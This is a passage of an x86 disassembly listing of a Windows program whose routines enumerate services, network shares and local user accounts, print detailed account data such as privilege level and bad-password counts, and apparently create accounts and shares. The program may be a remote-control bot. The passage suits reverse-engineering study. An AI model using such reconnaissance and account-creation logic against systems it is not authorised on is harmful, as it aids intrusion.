proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_43F1A8 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43F1A8 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_43F1A8 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43AD8C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43AD58 test eax, eax jnz short loc_40DA25 call near ptr 2650C0Ah nop cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43AC9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_43F464 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_43F664, 1 mov ebp, eax jnz short loc_40DBFA or byte_43F664, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_43F404, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_43F404 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_43F404 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43AC98 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43AC70 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43ACE4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43AC8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43AE28 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_43F668 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43AC7C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43AC6C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43ADF0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43AE28 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43AD00 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 